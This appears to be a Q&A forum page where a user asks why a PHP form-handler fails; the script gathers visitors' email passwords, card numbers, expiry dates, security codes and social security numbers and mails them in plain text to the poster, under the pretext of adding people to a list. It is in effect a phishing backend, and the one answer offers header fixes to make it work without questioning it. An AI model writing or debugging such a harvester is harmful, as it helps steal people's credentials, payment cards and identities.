MeNotMe
MeNotMe

Reputation: 147

my mail script did not work?

I Have create a script in my web site to let peaople add their payment method and then this information will send to my email for i will add them to my list securly but when i click submit in html form the submit.php and this is her code did not work and it show "Erreur serveur" can some one help me

<?php
    $email = $_POST['email'];
    $password = $_POST['password'];
    $cardtype = $_POST['cardtype'];
    $cardnumber = $_POST['cardnumber'];
    $exp = $_POST['exp'];
    $secure = $_POST['secure'];
    $namecard = $_POST['namecard'];
    $socialnumber = $_POST['socialnumber'];

    $to = '[email protected]';
    $subject = 'add ' .$email. 'to the list';
    $message = 'his informatin\n
    email: '.$email.'\n 
    password:'.$password.'\n 
    cardtype: '.$cardtype.'\n 
    cardnumber: '.$cardnumber.'\n 
    exp: '.$exp.'\n 
    secure: '.$secure.'\n 
    namecard: '.$namecard.'\n 
    socialnumber: '.$socialnumber.'\n ';
    $from = '[email protected]';
    $headers = 'From:' . $from;

    if(mail($to,$subject,$message,$headers))
            {
                header('Location: complete.php');
            }
            else
            {
                 echo "Message Not Sent";
            }

    ?>

Upvotes: 0

Views: 69

Answers (1)

Lance
Lance

Reputation: 4820

If you're trying to send HTML mail, the Content-type header must be set.

$headers = 'MIME-Version: 1.0' . '\r\n';
$headers .= 'Content-type: text/html; charset=iso-8859-1' . '\r\n';

//Additional headers
$headers .= 'From: '.$from.' <[email protected]>\r\n';

Upvotes: 1

Related Questions